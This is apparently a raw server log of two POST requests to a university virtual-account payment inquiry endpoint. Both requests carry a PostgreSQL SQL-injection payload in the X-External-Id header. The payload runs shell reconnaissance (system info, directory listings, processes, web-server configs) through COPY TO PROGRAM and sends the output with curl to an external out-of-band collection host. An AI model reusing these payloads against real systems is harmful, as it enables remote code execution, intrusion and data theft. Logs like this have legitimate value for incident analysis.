========================================
Log Time: 2026-10-09 06:57:18
--- REQUEST INCOMING ---
URL: POST https://permata.unublitar.ac.id/v1.0/transfer-va/inquiry

Headers:
Content-Length: 144
Content-Type: application/json
Accept-Encoding: identity
Authorization: Bearer [REDACTED]
Connection: close
Host: permata.unublitar.ac.id
User-Agent: Python-urllib/3.12
X-External-Id: zzz'; COPY (SELECT '') TO PROGRAM '(id; hostname; uname -a; echo ---IP; ip a 2>/dev/null; echo ---ROOT; ls -la /; echo ---WWW; ls -la /var/www 2>/dev/null; echo ---HOME; ls -la /home 2>/dev/null; echo ---PUBLICHTML; find / -maxdepth 6 -type d -name public_html 2>/dev/null | head -20; echo ---PS; ps aux | head -25; echo ---LISTEN; ss -lntp 2>/dev/null | head -25) > /tmp/r.txt 2>&1; curl -s -m 25 --data-binary @/tmp/r.txt http://db42r6fib55c4r15g10gij16ugc8z6pki.oast.site/recon1'; SELECT 'RCE' AS externalid--
X-Https: 1
X-Signature: CvHD1mH9QEaKH5NM/C5+KgUjHtnxLxQa2iDaJ5A+q5N7yeifLPiNGAKsndeqfp/zUkwjYKGQ3h0X7ZL9RnQ0oQ==
X-Timestamp: 2026-10-09T06:57:16+07:00

Body Request:
{
    "partnerServiceId": "    7668",
    "customerNo": "7668000000000000",
    "virtualAccountNo": "7668000000000000",
    "channelCode": 123,
    "inquiryRequestId": "poc"
}
----------------------------------------


Response Header:
Content-Type: application/json
X-TIMESTAMP: 2026-10-09T06:57:16+07:00

Response inquiry:
{"responseCode":"4092400","responseMessage":"Conflict"}========================================
Log Time: 2026-10-09 06:57:46
--- REQUEST INCOMING ---
URL: POST https://permata.unublitar.ac.id/v1.0/transfer-va/inquiry

Headers:
Content-Length: 144
Content-Type: application/json
Accept-Encoding: identity
Authorization: Bearer [REDACTED]
Connection: close
Host: permata.unublitar.ac.id
User-Agent: Python-urllib/3.12
X-External-Id: zzz'; COPY (SELECT '') TO PROGRAM '(echo ---HTML; ls -la /var/www/html; echo ---APACHE_SE; ls -la /etc/apache2/sites-enabled/ 2>/dev/null; echo ---APACHE_S; apache2ctl -S 2>&1 | head -50; echo ---NGINX; ls -la /etc/nginx/sites-enabled/ 2>/dev/null; echo ---SERVERNAME; grep -rhi servername /etc/apache2/sites-enabled/ 2>/dev/null; echo ---SERVERNAME_NG; grep -rhi server_name /etc/nginx/sites-enabled/ 2>/dev/null; echo ---DOCROOT; grep -rhi documentroot /etc/apache2/sites-enabled/ 2>/dev/null; echo ---ROOT_NG; grep -rhi root /etc/nginx/sites-enabled/ 2>/dev/null; echo ---FIND; find /var/www /home /srv /opt -maxdepth 3 2>/dev/null | head -80; echo ---WRITABLE; ls -ld /var/www/html /var/www) > /tmp/r2.txt 2>&1; curl -s -m 25 --data-binary @/tmp/r2.txt http://db42r6fib55c4r15g10gij16ugc8z6pki.oast.site/recon2'; SELECT 'RCE' AS externalid--
X-Https: 1
X-Signature: 2HoyF5x4bfRbCIQ0wPg5er50RKHSg1Uc9h1YU3VebyGvMAFHcwcBRiXgLnlNpNRePLw7e93lRcIDyINCfki7zA==
X-Timestamp: 2026-10-09T06:57:45+07:00

Body Request:
{
    "partnerServiceId": "    7668",
    "customerNo": "7668000000000000",
    "virtualAccountNo": "7668000000000000",
    "channelCode": 123,
    "inquiryRequestId": "poc"
}
----------------------------------------


Response Header:
Content-Type: application/json
X-TIMESTAMP: 2026-10-09T06:57:45+07:00

Response inquiry:
{"responseCode":"4092400","responseMessage":"Conflict"}